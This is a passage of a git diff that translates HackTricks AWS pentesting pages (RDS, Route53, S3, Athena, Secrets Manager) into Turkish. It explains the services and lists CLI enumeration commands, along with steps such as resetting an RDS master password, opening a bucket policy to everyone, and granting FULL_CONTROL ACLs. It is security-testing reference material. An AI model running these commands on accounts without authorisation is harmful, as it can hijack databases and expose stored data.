-### Public Access & VPC +### Genel Erişim & VPC -By default **no public access is granted** to the databases, however it **could be granted**. Therefore, by default only machines from the same VPC will be able to access it if the selected **security group** (are stored in EC2 SG)allows it. +Varsayılan olarak veritabanlarına **herhangi bir genel erişim verilmez**, ancak **verilebilir**. Bu nedenle, varsayılan olarak yalnızca aynı VPC'deki makineler, seçilen **güvenlik grubu** (EC2 SG'de saklanır) izin veriyorsa buna erişebilecektir. -Instead of exposing a DB instance, it’s possible to create a **RDS Proxy** which **improves** the **scalability** & **availability** of the DB cluster. +Bir DB örneğini açığa çıkarmak yerine, DB kümesinin **ölçeklenebilirliğini** ve **kullanılabilirliğini artıran** bir **RDS Proxy** oluşturmak mümkündür. -Moreover, the **database port can be modified** also. +Ayrıca, **veritabanı portu da değiştirilebilir**. -### Encryption +### Şifreleme -**Encryption is enabled by default** using a AWS managed key (a CMK could be chosen instead). +**Şifreleme varsayılan olarak etkindir** ve AWS yönetilen bir anahtar kullanır (bir CMK yerine seçilebilir). -By enabling your encryption, you are enabling **encryption at rest for your storage, snapshots, read replicas and your back-ups**. Keys to manage this encryption can be issued by using **KMS**.\ -It's not possible to add this level of encryption after your database has been created. **It has to be done during its creation**. +Şifrelemenizi etkinleştirerek, **depolamanız, anlık görüntüleriniz, okuma kopyalarınız ve yedekleriniz için dinlenme sırasında şifrelemeyi** etkinleştiriyorsunuz. Bu şifrelemeyi yönetmek için anahtarlar **KMS** kullanılarak verilebilir.\ +Veritabanınız oluşturulduktan sonra bu düzeyde bir şifreleme eklemek mümkün değildir. **Bu, oluşturulması sırasında yapılmalıdır**. -However, there is a **workaround allowing you to encrypt an unencrypted database as follows**. You can create a snapshot of your unencrypted database, create an encrypted copy of that snapshot, use that encrypted snapshot to create a new database, and then, finally, your database would then be encrypted. +Ancak, **şifrelenmemiş bir veritabanını şifrelemek için bir geçici çözüm** vardır. Şifrelenmemiş veritabanınızın bir anlık görüntüsünü oluşturabilir, o anlık görüntünün şifrelenmiş bir kopyasını oluşturabilir, bu şifrelenmiş anlık görüntüyü yeni bir veritabanı oluşturmak için kullanabilir ve sonunda veritabanınız şifrelenmiş olur. -#### Transparent Data Encryption (TDE) +#### Şeffaf Veri Şifrelemesi (TDE) -Alongside the encryption capabilities inherent to RDS at the application level, RDS also supports **additional platform-level encryption mechanisms** to safeguard data at rest. This includes **Transparent Data Encryption (TDE)** for Oracle and SQL Server. However, it's crucial to note that while TDE enhances security by encrypting data at rest, it may also **affect database performance**. This performance impact is especially noticeable when used in conjunction with MySQL cryptographic functions or Microsoft Transact-SQL cryptographic functions. +RDS'nin uygulama düzeyindeki şifreleme yeteneklerine ek olarak, RDS ayrıca dinlenme halindeki verileri korumak için **ek platform düzeyi şifreleme mekanizmalarını** destekler. Bu, Oracle ve SQL Server için **Şeffaf Veri Şifrelemesi (TDE)**'yi içerir. Ancak, TDE'nin dinlenme halindeki verileri şifreleyerek güvenliği artırdığına dikkat etmek önemlidir, bu aynı zamanda **veritabanı performansını etkileyebilir**. Bu performans etkisi, MySQL kriptografik işlevleri veya Microsoft Transact-SQL kriptografik işlevleri ile birlikte kullanıldığında özellikle belirgindir. -To utilize TDE, certain preliminary steps are required: +TDE'yi kullanmak için belirli ön adımlar gereklidir: -1. **Option Group Association**: - - The database must be associated with an option group. Option groups serve as containers for settings and features, facilitating database management, including security enhancements. - - However, it's important to note that option groups are only available for specific database engines and versions. -2. **Inclusion of TDE in Option Group**: - - Once associated with an option group, the Oracle Transparent Data Encryption option needs to be included in that group. - - It's essential to recognize that once the TDE option is added to an option group, it becomes a permanent fixture and cannot be removed. -3. **TDE Encryption Modes**: - - TDE offers two distinct encryption modes: - - **TDE Tablespace Encryption**: This mode encrypts entire tables, providing a broader scope of data protection. - - **TDE Column Encryption**: This mode focuses on encrypting specific, individual elements within the database, allowing for more granular control over what data is encrypted. +1. **Seçenek Grubu İlişkilendirmesi**: +- Veritabanı bir seçenek grubuna ilişkilendirilmelidir. Seçenek grupları, ayarların ve özelliklerin kapsayıcıları olarak işlev görerek güvenlik iyileştirmeleri de dahil olmak üzere veritabanı yönetimini kolaylaştırır. +- Ancak, seçenek gruplarının yalnızca belirli veritabanı motorları ve sürümleri için mevcut olduğunu belirtmek önemlidir. +2. **Seçenek Grubunda TDE'nin Dahil Edilmesi**: +- Bir seçenek grubuna ilişkilendirildikten sonra, Oracle Şeffaf Veri Şifrelemesi seçeneği o gruba dahil edilmelidir. +- TDE seçeneği bir seçenek grubuna eklendikten sonra, kalıcı bir parça haline geldiğini ve çıkarılamayacağını kabul etmek önemlidir. +3. **TDE Şifreleme Modları**: +- TDE, iki farklı şifreleme modu sunar: +- **TDE Tablosu Alanı Şifrelemesi**: Bu mod, tüm tabloları şifreler ve daha geniş bir veri koruma kapsamı sağlar. +- **TDE Sütun Şifrelemesi**: Bu mod, veritabanındaki belirli, bireysel öğeleri şifrelemeye odaklanır ve hangi verilerin şifreleneceği üzerinde daha ayrıntılı kontrol sağlar. -Understanding these prerequisites and the operational intricacies of TDE is crucial for effectively implementing and managing encryption within RDS, ensuring both data security and compliance with necessary standards. - -### Enumeration +Bu ön koşulları ve TDE'nin operasyonel karmaşıklıklarını anlamak, RDS içinde şifrelemeyi etkili bir şekilde uygulamak ve yönetmek için kritik öneme sahiptir ve hem veri güvenliğini hem de gerekli standartlara uyumu sağlar. +### Sayım ```bash # Clusters info ## Get Endpoints, username, port, iam auth enabled, attached roles, SG @@ -106,41 +105,36 @@ aws rds describe-db-proxy-targets ## reset credentials of MasterUsername aws rds modify-db-instance --db-instance-identifier --master-user-password --apply-immediately ``` - -### Unauthenticated Access +### Kimlik Doğrulama Olmadan Erişim {{#ref}} ../aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md {{#endref}} -### Privesc +### Yetki Yükseltme {{#ref}} ../aws-privilege-escalation/aws-rds-privesc.md {{#endref}} -### Post Exploitation +### İstismar Sonrası {{#ref}} ../aws-post-exploitation/aws-rds-post-exploitation.md {{#endref}} -### Persistence +### Süreklilik {{#ref}} ../aws-persistence/aws-rds-persistence.md {{#endref}} -### SQL Injection +### SQL Enjeksiyonu -There are ways to access DynamoDB data with **SQL syntax**, therefore, typical **SQL injections are also possible**. +DynamoDB verilerine **SQL sözdizimi** ile erişim sağlama yolları vardır, bu nedenle, tipik **SQL enjeksiyonları da mümkündür**. {{#ref}} https://book.hacktricks.xyz/pentesting-web/sql-injection {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md index c37002eb7..31cf5ca1c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md @@ -4,16 +4,15 @@ ## Route 53 -Amazon Route 53 is a cloud **Domain Name System (DNS)** web service.\ -You can create https, http and tcp **health checks for web pages** via Route53. +Amazon Route 53, bir bulut **Alan Adı Sistemi (DNS)** web hizmetidir.\ +Route53 aracılığıyla https, http ve tcp **web sayfaları için sağlık kontrolleri** oluşturabilirsiniz. -### IP-based routing +### IP tabanlı yönlendirme -This is useful to tune your DNS routing to make the best DNS routing decisions for your end users.\ -IP-based routing offers you the additional ability to **optimize routing based on specific knowledge of your customer base**. +Bu, DNS yönlendirmelerinizi ayarlamak ve son kullanıcılarınız için en iyi DNS yönlendirme kararlarını almak için faydalıdır.\ +IP tabanlı yönlendirme, **müşteri tabanınız hakkında belirli bilgilere dayalı olarak yönlendirmeyi optimize etme** ek yeteneği sunar. ### Enumeration - ```bash aws route53 list-hosted-zones # Get domains aws route53 get-hosted-zone --id @@ -21,7 +20,6 @@ aws route53 list-resource-record-sets --hosted-zone-id # Get al aws route53 list-health-checks aws route53 list-traffic-policies ``` - ### Privesc {{#ref}} @@ -29,7 +27,3 @@ aws route53 list-traffic-policies {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md index 3133c0eac..c7380bba1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md @@ -4,144 +4,137 @@ ## S3 -Amazon S3 is a service that allows you **store big amounts of data**. +Amazon S3, **büyük miktarda veri depolamanıza** olanak tanıyan bir hizmettir. -Amazon S3 provides multiple options to achieve the **protection** of data at REST. The options include **Permission** (Policy), **Encryption** (Client and Server Side), **Bucket Versioning** and **MFA** **based delete**. The **user can enable** any of these options to achieve data protection. **Data replication** is an internal facility by AWS where **S3 automatically replicates each object across all the Availability Zones** and the organization need not enable it in this case. +Amazon S3, verilerin dinlenme halindeki **korunmasını** sağlamak için birden fazla seçenek sunar. Seçenekler arasında **İzin** (Politika), **Şifreleme** (İstemci ve Sunucu Tarafı), **Kova Sürümleme** ve **MFA** **tabanlı silme** bulunmaktadır. **Kullanıcı,** veri koruması sağlamak için bu seçeneklerden herhangi birini etkinleştirebilir. **Veri çoğaltma**, AWS tarafından sağlanan bir iç olanak olup, **S3 her nesneyi tüm Erişilebilirlik Alanları arasında otomatik olarak çoğaltır** ve bu durumda organizasyonun bunu etkinleştirmesi gerekmez. -With resource-based permissions, you can define permissions for sub-directories of your bucket separately. +Kaynak tabanlı izinlerle, kovanızın alt dizinleri için izinleri ayrı ayrı tanımlayabilirsiniz. -### Bucket Versioning and MFA based delete +### Kova Sürümleme ve MFA tabanlı silme -When bucket versioning is enabled, any action that tries to alter a file inside a file will generate a new version of the file, keeping also the previous content of the same. Therefore, it won't overwrite its content. +Kova sürümleme etkinleştirildiğinde, bir dosyanın içindeki bir dosyayı değiştirmeye çalışan herhangi bir işlem, dosyanın yeni bir sürümünü oluşturacak ve aynı zamanda önceki içeriği de koruyacaktır. Bu nedenle, içeriğini üzerine yazmayacaktır. -Moreover, MFA based delete will prevent versions of file in the S3 bucket from being deleted and also Bucket Versioning from being disabled, so an attacker won't be able to alter these files. +Ayrıca, MFA tabanlı silme, S3 kovasındaki dosya sürümlerinin silinmesini ve Kova Sürümlemenin devre dışı bırakılmasını engelleyecektir, böylece bir saldırgan bu dosyaları değiştiremeyecektir. -### S3 Access logs +### S3 Erişim günlükleri -It's possible to **enable S3 access login** (which by default is disabled) to some bucket and save the logs in a different bucket to know who is accessing the bucket (both buckets must be in the same region). +Bir kovaya **S3 erişim kaydını etkinleştirmek** (varsayılan olarak devre dışıdır) ve günlükleri farklı bir kovada saklamak mümkündür, böylece kovanın kimler tarafından erişildiğini bilebilirsiniz (her iki kova da aynı bölgede olmalıdır). -### S3 Presigned URLs - -It's possible to generate a presigned URL that can usually be used to **access the specified file** in the bucket. A **presigned URL looks like this**: +### S3 Önceden İmzalı URL'ler +Kovadaki **belirtilen dosyaya erişmek için** genellikle kullanılabilecek bir önceden imzalı URL oluşturmak mümkündür. **Önceden imzalı bir URL şöyle görünür:** ``` https://.s3.us-east-1.amazonaws.com/asd.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAUUE8GZC4S5L3TY3P%2F20230227%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230227T142551Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjELf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBhQpdETJO3HKKDk2hjNIrPWwBE8gZaQccZFV3kCpPCWAiEAid3ueDtFFU%2FOQfUpvxYTGO%2BHoS4SWDMUrQAE0pIaB40qggMIYBAAGgwzMTgxNDIxMzg1NTMiDJLI5t7gr2EGxG1Y5CrfAioW0foHIQ074y4gvk0c%2B%2Fmqc7cNWb1njQslQkeePHkseJ3owzc%2FCwkgE0EuZTd4mw0aJciA2XIbJRCLPWTb%2FCBKPnIMJ5aBzIiA2ltsiUNQTTUxYmEgXZoJ6rFYgcodnmWW0Et4Xw59UlHnCDB2bLImxPprriyCzDDCD6nLyp3J8pFF1S8h3ZTJE7XguA8joMs4%2B2B1%2FeOZfuxXKyXPYSKQOOSbQiHUQc%2BFnOfwxleRL16prWk1t7TamvHR%2Bt3UgMn5QWzB3p8FgWwpJ6GjHLkYMJZ379tkimL1tJ7o%2BIod%2FMYrS7LDCifP9d%2FuYOhKWGhaakPuJKJh9fl%2B0vGl7kmApXigROxEWon6ms75laXebltsWwKcKuYca%2BUWu4jVJx%2BWUfI4ofoaGiCSaKALTqwu4QNBRT%2BMoK6h%2BQa7gN7JFGg322lkxRY53x27WMbUE4unn5EmI54T4dWt1%2Bg8ljDS%2BvKfBjqmAWRwuqyfwXa5YC3xxttOr3YVvR6%2BaXpzWtvNJQNnb6v0uI3%2BTtTexZkJpLQYqFcgZLQSxsXWSnf988qvASCIUhAzp2UnS1uqy7QjtD5T73zksYN2aesll7rvB80qIuujG6NOdHnRJ2M5%2FKXXNo1Yd15MtzPuSjRoSB9RSMon5jFu31OrQnA9eCUoawxbB0nHqwK8a43CKBZHhA8RoUAJW%2B48EuFsp3U%3D&X-Amz-Signature=3436e4139e84dbcf5e2e6086c0ebc92f4e1e9332b6fda24697bc339acbf2cdfa ``` - -A presigned URL can be **created from the cli using credentials of a principal with access to the object** (if the account you use doesn't have access, a shorter presigned URL will be created but it will be useless) - +A presigned URL **bir nesneye erişimi olan bir yetkilinin kimlik bilgileri kullanılarak cli'dan oluşturulabilir** (kullandığınız hesap erişime sahip değilse, daha kısa bir presigned URL oluşturulacak ancak bu işe yaramayacaktır) ```bash - aws s3 presign --region 's3:///' +aws s3 presign --region 's3:///' ``` - > [!NOTE] -> The only required permission to generate a presigned URL is the permission being given, so for the previous command the only permission needed by the principal is `s3:GetObject` - -It's also possible to create presigned URLs with **other permissions**: +> Önceden imzalı bir URL oluşturmak için gereken tek izin, verilen izindir, bu nedenle önceki komut için anahtarın ihtiyaç duyduğu tek izin `s3:GetObject`'dır. +Ayrıca **diğer izinlerle** önceden imzalı URL'ler oluşturmak da mümkündür: ```python import boto3 url = boto3.client('s3').generate_presigned_url( - ClientMethod='put_object', - Params={'Bucket': 'BUCKET_NAME', 'Key': 'OBJECT_KEY'}, - ExpiresIn=3600 +ClientMethod='put_object', +Params={'Bucket': 'BUCKET_NAME', 'Key': 'OBJECT_KEY'}, +ExpiresIn=3600 ) ``` +### S3 Şifreleme Mekanizmaları -### S3 Encryption Mechanisms - -**DEK means Data Encryption Key** and is the key that is always generated and used to encrypt data. +**DEK, Veri Şifreleme Anahtarı** anlamına gelir ve verileri şifrelemek için her zaman oluşturulan ve kullanılan anahtardır.
-Server-side encryption with S3 managed keys, SSE-S3 +S3 yönetilen anahtarlarla sunucu tarafı şifreleme, SSE-S3 -This option requires minimal configuration and all management of encryption keys used are managed by AWS. All you need to do is to **upload your data and S3 will handle all other aspects**. Each bucket in a S3 account is assigned a bucket key. +Bu seçenek, minimum yapılandırma gerektirir ve kullanılan şifreleme anahtarlarının tüm yönetimi AWS tarafından yapılır. Tek yapmanız gereken **verilerinizi yüklemek ve S3 diğer tüm yönleriyle ilgilenecektir**. Bir S3 hesabındaki her bir kovaya bir kova anahtarı atanır. -- Encryption: - - Object Data + created plaintext DEK --> Encrypted data (stored inside S3) - - Created plaintext DEK + S3 Master Key --> Encrypted DEK (stored inside S3) and plain text is deleted from memory -- Decryption: - - Encrypted DEK + S3 Master Key --> Plaintext DEK - - Plaintext DEK + Encrypted data --> Object Data +- Şifreleme: +- Nesne Verisi + oluşturulan düz metin DEK --> Şifrelenmiş veri (S3 içinde saklanır) +- Oluşturulan düz metin DEK + S3 Anahtarları --> Şifrelenmiş DEK (S3 içinde saklanır) ve düz metin bellekten silinir +- Şifre çözme: +- Şifrelenmiş DEK + S3 Anahtarları --> Düz metin DEK +- Düz metin DEK + Şifrelenmiş veri --> Nesne Verisi -Please, note that in this case **the key is managed by AWS** (rotation only every 3 years). If you use your own key you willbe able to rotate, disable and apply access control. +Lütfen, bu durumda **anahtarın AWS tarafından yönetildiğini** unutmayın (sadece 3 yılda bir döndürme). Kendi anahtarınızı kullanırsanız, döndürebilir, devre dışı bırakabilir ve erişim kontrolü uygulayabilirsiniz.
-Server-side encryption with KMS managed keys, SSE-KMS +KMS yönetilen anahtarlarla sunucu tarafı şifreleme, SSE-KMS -This method allows S3 to use the key management service to generate your data encryption keys. KMS gives you a far greater flexibility of how your keys are managed. For example, you are able to disable, rotate, and apply access controls to the CMK, and order to against their usage using AWS Cloud Trail. +Bu yöntem, S3'ün veri şifreleme anahtarlarınızı oluşturmak için anahtar yönetim hizmetini kullanmasına olanak tanır. KMS, anahtarlarınızın nasıl yönetileceği konusunda çok daha fazla esneklik sağlar. Örneğin, CMK'yı devre dışı bırakabilir, döndürebilir ve erişim kontrolleri uygulayabilirsiniz ve bunların kullanımına karşı AWS Cloud Trail kullanarak sipariş verebilirsiniz. -- Encryption: - - S3 request data keys from KMS CMK - - KMS uses a CMK to generate the pair DEK plaintext and DEK encrypted and send them to S£ - - S3 uses the paintext key to encrypt the data, store the encrypted data and the encrypted key and deletes from memory the plain text key -- Decryption: - - S3 ask to KMS to decrypt the encrypted data key of the object - - KMS decrypt the data key with the CMK and send it back to S3 - - S3 decrypts the object data +- Şifreleme: +- S3, KMS CMK'dan veri anahtarları talep eder +- KMS, düz metin DEK ve şifrelenmiş DEK çiftini oluşturmak için bir CMK kullanır ve bunları S3'e gönderir +- S3, düz metin anahtarı kullanarak verileri şifreler, şifrelenmiş veriyi ve şifrelenmiş anahtarı saklar ve düz metin anahtarı bellekte siler +- Şifre çözme: +- S3, nesnenin şifrelenmiş veri anahtarını KMS'ten çözmesini ister +- KMS, veri anahtarını CMK ile çözer ve S3'e geri gönderir +- S3, nesne verisini çözer
-Server-side encryption with customer provided keys, SSE-C +Müşteri sağlanan anahtarlarla sunucu tarafı şifreleme, SSE-C -This option gives you the opportunity to provide your own master key that you may already be using outside of AWS. Your customer-provided key would then be sent with your data to S3, where S3 would then perform the encryption for you. +Bu seçenek, AWS dışında zaten kullanıyor olabileceğiniz kendi anahtarınızı sağlamanıza olanak tanır. Müşteri sağlanan anahtarınız, verilerinizle birlikte S3'e gönderilir ve burada S3 sizin için şifreleme işlemini gerçekleştirir. -- Encryption: - - The user sends the object data + Customer key to S3 - - The customer key is used to encrypt the data and the encrypted data is stored - - a salted HMAC value of the customer key is stored also for future key validation - - the customer key is deleted from memory -- Decryption: - - The user send the customer key - - The key is validated against the HMAC value stored - - The customer provided key is then used to decrypt the data +- Şifreleme: +- Kullanıcı, nesne verisini + Müşteri anahtarını S3'e gönderir +- Müşteri anahtarı verileri şifrelemek için kullanılır ve şifrelenmiş veri saklanır +- Müşteri anahtarının gelecekteki anahtar doğrulaması için tuzlu bir HMAC değeri de saklanır +- Müşteri anahtarı bellekten silinir +- Şifre çözme: +- Kullanıcı müşteri anahtarını gönderir +- Anahtar, saklanan HMAC değeri ile doğrulanır +- Müşteri sağlanan anahtar, verileri çözmek için kullanılır
-Client-side encryption with KMS, CSE-KMS +KMS ile istemci tarafı şifreleme, CSE-KMS -Similarly to SSE-KMS, this also uses the key management service to generate your data encryption keys. However, this time KMS is called upon via the client not S3. The encryption then takes place client-side and the encrypted data is then sent to S3 to be stored. +SSE-KMS'ye benzer şekilde, bu da veri şifreleme anahtarlarınızı oluşturmak için anahtar yönetim hizmetini kullanır. Ancak, bu sefer KMS, S3 değil, istemci aracılığıyla çağrılır. Şifreleme istemci tarafında gerçekleşir ve şifrelenmiş veri daha sonra saklanmak üzere S3'e gönderilir. -- Encryption: - - Client request for a data key to KMS - - KMS returns the plaintext DEK and the encrypted DEK with the CMK - - Both keys are sent back - - The client then encrypts the data with the plaintext DEK and send to S3 the encrypted data + the encrypted DEK (which is saved as metadata of the encrypted data inside S3) -- Decryption: - - The encrypted data with the encrypted DEK is sent to the client - - The client asks KMS to decrypt the encrypted key using the CMK and KMS sends back the plaintext DEK - - The client can now decrypt the encrypted data +- Şifreleme: +- İstemci, KMS'ten bir veri anahtarı talep eder +- KMS, düz metin DEK ve CMK ile şifrelenmiş DEK'i döner +- Her iki anahtar geri gönderilir +- İstemci, düz metin DEK ile verileri şifreler ve şifrelenmiş veriyi + şifrelenmiş DEK'i (S3 içindeki şifrelenmiş verinin meta verisi olarak saklanır) S3'e gönderir +- Şifre çözme: +- Şifrelenmiş veri ve şifrelenmiş DEK istemciye gönderilir +- İstemci, CMK kullanarak şifrelenmiş anahtarı çözmek için KMS'e başvurur ve KMS düz metin DEK'i geri gönderir +- İstemci artık şifrelenmiş veriyi çözebilir
-Client-side encryption with customer provided keys, CSE-C +Müşteri sağlanan anahtarlarla istemci tarafı şifreleme, CSE-C -Using this mechanism, you are able to utilize your own provided keys and use an AWS-SDK client to encrypt your data before sending it to S3 for storage. +Bu mekanizmayı kullanarak, kendi sağladığınız anahtarları kullanabilir ve verilerinizi S3'e göndermeden önce şifrelemek için bir AWS-SDK istemcisi kullanabilirsiniz. -- Encryption: - - The client generates a DEK and encrypts the plaintext data - - Then, using it's own custom CMK it encrypts the DEK - - submit the encrypted data + encrypted DEK to S3 where it's stored -- Decryption: - - S3 sends the encrypted data and DEK - - As the client already has the CMK used to encrypt the DEK, it decrypts the DEK and then uses the plaintext DEK to decrypt the data +- Şifreleme: +- İstemci bir DEK oluşturur ve düz metin verileri şifreler +- Ardından, kendi özel CMK'sini kullanarak DEK'i şifreler +- Şifrelenmiş veriyi + şifrelenmiş DEK'i S3'e gönderir ve burada saklanır +- Şifre çözme: +- S3, şifrelenmiş veriyi ve DEK'i gönderir +- İstemci, DEK'i şifrelemek için kullanılan CMK'ya zaten sahip olduğundan, DEK'i çözer ve ardından düz metin DEK'i verileri çözmek için kullanır
-### **Enumeration** - -One of the traditional main ways of compromising AWS orgs start by compromising buckets publicly accesible. **You can find** [**public buckets enumerators in this page**](../aws-unauthenticated-enum-access/#s3-buckets)**.** +### **Numaralandırma** +AWS organizasyonlarını tehlikeye atmanın geleneksel ana yollarından biri, kamuya açık erişilebilir kovaları tehlikeye atmaktır. **[**Bu sayfada kamuya açık kova numaralandırıcıları bulabilirsiniz**](../aws-unauthenticated-enum-access/#s3-buckets)**.** ```bash # Get buckets ACLs aws s3api get-bucket-acl --bucket @@ -184,28 +177,28 @@ aws s3api list-objects --bucket BUCKETNAME --output json --query "[sum(Contents[ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket ##JSON policy example { - "Id": "Policy1568185116930", - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Stmt1568184932403", - "Action": [ - "s3:ListBucket" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome", - "Principal": "*" - }, - { - "Sid": "Stmt1568185007451", - "Action": [ - "s3:GetObject" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome/*", - "Principal": "*" - } - ] +"Id": "Policy1568185116930", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Stmt1568184932403", +"Action": [ +"s3:ListBucket" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome", +"Principal": "*" +}, +{ +"Sid": "Stmt1568185007451", +"Action": [ +"s3:GetObject" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome/*", +"Principal": "*" +} +] } # Update bucket ACL @@ -218,78 +211,76 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ##JSON ACL example ## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. { - "Owner": { - "DisplayName": "", - "ID": "" - }, - "Grants": [ - { - "Grantee": { - "Type": "Group", - "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" - }, - "Permission": "FULL_CONTROL" - } - ] +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] } ## An ACL should give you the permission WRITE_ACP to be able to put a new ACL ``` - ### dual-stack -You can access an S3 bucket through a dual-stack endpoint by using a virtual hosted-style or a path-style endpoint name. These are useful to access S3 through IPv6. +Bir S3 bucket'ına, sanal barındırma tarzı veya yol tarzı bir uç nokta adı kullanarak çift yığın uç noktası aracılığıyla erişebilirsiniz. Bunlar, S3'e IPv6 üzerinden erişmek için faydalıdır. -Dual-stack endpoints use the following syntax: +Çift yığın uç noktaları aşağıdaki sözdizimini kullanır: - `bucketname.s3.dualstack.aws-region.amazonaws.com` - `s3.dualstack.aws-region.amazonaws.com/bucketname` ### Privesc -In the following page you can check how to **abuse S3 permissions to escalate privileges**: +Aşağıdaki sayfada **S3 izinlerini kötüye kullanarak ayrıcalıkları artırma** yöntemini kontrol edebilirsiniz: {{#ref}} ../aws-privilege-escalation/aws-s3-privesc.md {{#endref}} -### Unauthenticated Access +### Kimlik Doğrulaması Olmayan Erişim {{#ref}} ../aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md {{#endref}} -### S3 Post Exploitation +### S3 Sonrası İstismar {{#ref}} ../aws-post-exploitation/aws-s3-post-exploitation.md {{#endref}} -### Persistence +### Süreklilik {{#ref}} ../aws-persistence/aws-s3-persistence.md {{#endref}} -## Other S3 vulns +## Diğer S3 zafiyetleri -### S3 HTTP Cache Poisoning Issue +### S3 HTTP Önbellek Zehirlenmesi Sorunu -[**According to this research**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue) it was possible to cache the response of an arbitrary bucket as if it belonged to a different one. This could have been abused to change for example javascript file responses and compromise arbitrary pages using S3 to store static code. +[**Bu araştırmaya göre**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue) rastgele bir bucket'ın yanıtını, farklı birine aitmiş gibi önbelleğe almak mümkündü. Bu, örneğin javascript dosyası yanıtlarını değiştirmek ve S3'ü statik kod depolamak için kullanan rastgele sayfaları tehlikeye atmak için kötüye kullanılabilirdi. ## Amazon Athena -Amazon Athena is an interactive query service that makes it easy to **analyze data** directly in Amazon Simple Storage Service (Amazon **S3**) **using** standard **SQL**. +Amazon Athena, verileri doğrudan Amazon Basit Depolama Servisi (Amazon **S3**) **kullanarak** standart **SQL** ile **analiz etmeyi** kolaylaştıran etkileşimli bir sorgu hizmetidir. -You need to **prepare a relational DB table** with the format of the content that is going to appear in the monitored S3 buckets. And then, Amazon Athena will be able to populate the DB from the logs, so you can query it. +Gözetlenen S3 bucket'larında görünecek içeriğin formatında bir **ilişkisel DB tablosu** **hazırlamanız** gerekir. Ardından, Amazon Athena, günlüklerden DB'yi doldurabilecektir, böylece sorgulayabilirsiniz. -Amazon Athena supports the **ability to query S3 data that is already encrypted** and if configured to do so, **Athena can also encrypt the results of the query which can then be stored in S3**. +Amazon Athena, **zaten şifrelenmiş S3 verilerini sorgulama yeteneğini** destekler ve böyle yapılandırıldığında, **Athena ayrıca sorgu sonuçlarını şifreleyebilir ve bunlar daha sonra S3'te saklanabilir**. -**This encryption of results is independent of the underlying queried S3 data**, meaning that even if the S3 data is not encrypted, the queried results can be encrypted. A couple of points to be aware of is that Amazon Athena only supports data that has been **encrypted** with the **following S3 encryption methods**, **SSE-S3, SSE-KMS, and CSE-KMS**. +**Bu sonuçların şifrelenmesi, sorgulanan S3 verilerinin altında yatan şifrelemeden bağımsızdır**, yani S3 verileri şifrelenmemiş olsa bile, sorgulanan sonuçlar şifrelenebilir. Bilinmesi gereken birkaç nokta, Amazon Athena'nın yalnızca **aşağıdaki S3 şifreleme yöntemleriyle şifrelenmiş** verileri desteklediğidir: **SSE-S3, SSE-KMS ve CSE-KMS**. -SSE-C and CSE-E are not supported. In addition to this, it's important to understand that Amazon Athena will only run queries against **encrypted objects that are in the same region as the query itself**. If you need to query S3 data that's been encrypted using KMS, then specific permissions are required by the Athena user to enable them to perform the query. +SSE-C ve CSE-E desteklenmemektedir. Bunun yanı sıra, Amazon Athena'nın yalnızca **sorgunun kendisiyle aynı bölgede bulunan şifrelenmiş nesneler üzerinde sorgu çalıştıracağını** anlamak önemlidir. KMS kullanılarak şifrelenmiş S3 verilerini sorgulamanız gerekiyorsa, Athena kullanıcısının sorguyu gerçekleştirebilmesi için belirli izinlere sahip olması gerekir. ### Enumeration - ```bash # Get catalogs aws athena list-data-catalogs @@ -311,14 +302,9 @@ aws athena get-prepared-statement --statement-name --work-group # Run query aws athena start-query-execution --query-string ``` - -## References +## Referanslar - [https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3](https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3) - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md index a50eaa24f..0a6676f69 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md @@ -4,22 +4,21 @@ ## AWS Secrets Manager -AWS Secrets Manager is designed to **eliminate the use of hard-coded secrets in applications by replacing them with an API call**. This service serves as a **centralized repository for all your secrets**, ensuring they are managed uniformly across all applications. +AWS Secrets Manager, **uygulamalardaki sabit kodlanmış gizli bilgilerin kullanımını ortadan kaldırmak için bir API çağrısıyla bunların yerini alacak şekilde tasarlanmıştır**. Bu hizmet, 